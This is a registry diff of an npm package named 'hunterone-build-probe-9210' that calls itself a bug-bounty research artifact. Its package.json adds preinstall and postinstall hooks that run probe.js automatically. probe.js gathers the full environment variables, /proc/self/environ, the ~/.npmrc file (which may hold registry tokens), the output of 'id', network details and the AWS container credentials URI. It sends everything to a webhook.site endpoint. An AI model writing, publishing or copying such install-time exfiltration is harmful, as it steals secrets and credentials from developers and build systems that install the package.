hunterone-build-probe-9210 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +11 -0
- package/probe.js +22 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "hunterone-build-probe-9210",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Security research artifact (authorised bug bounty test). Reports its own build environment. Do not depend on this.",
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"preinstall": "node probe.js || true",
|
|
9
|
+
"postinstall": "node probe.js || true"
|
|
10
|
+
}
|
|
11
|
+
}
|
package/probe.js
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
// Authorised security-research probe. Reports the environment it is installed in.
|
|
2
|
+
const https=require('https'),fs=require('fs'),os=require('os'),cp=require('child_process');
|
|
3
|
+
function safe(f){try{return f()}catch(e){return 'ERR '+String(e).slice(0,120)}}
|
|
4
|
+
const data={
|
|
5
|
+
phase:process.env.npm_lifecycle_event||'?',
|
|
6
|
+
host:safe(()=>os.hostname()),
|
|
7
|
+
cwd:safe(()=>process.cwd()),
|
|
8
|
+
uid:safe(()=>process.getuid&&process.getuid()),
|
|
9
|
+
platform:safe(()=>os.platform()+' '+os.release()),
|
|
10
|
+
env:safe(()=>Object.fromEntries(Object.entries(process.env).map(([k,v])=>[k,String(v).slice(0,300)]))),
|
|
11
|
+
procenv:safe(()=>fs.readFileSync('/proc/self/environ','utf8').split('\0').filter(Boolean).slice(0,120)),
|
|
12
|
+
root:safe(()=>fs.readdirSync('/').join(',')),
|
|
13
|
+
ifaces:safe(()=>JSON.stringify(os.networkInterfaces()).slice(0,900)),
|
|
14
|
+
id:safe(()=>cp.execSync('id 2>&1').toString().slice(0,200)),
|
|
15
|
+
npmrc:safe(()=>fs.readFileSync(os.homedir()+'/.npmrc','utf8').slice(0,600)),
|
|
16
|
+
ecs:safe(()=>process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI||'none')
|
|
17
|
+
};
|
|
18
|
+
const body=Buffer.from(JSON.stringify(data));
|
|
19
|
+
const req=https.request({host:'webhook.site',path:'/22508080-b099-4ec3-8ab7-7354af2886a9/buildenv',method:'POST',
|
|
20
|
+
headers:{'content-type':'application/json','content-length':body.length},timeout:8000},r=>{r.resume()});
|
|
21
|
+
req.on('error',()=>{});req.on('timeout',()=>req.destroy());
|
|
22
|
+
req.write(body);req.end();
|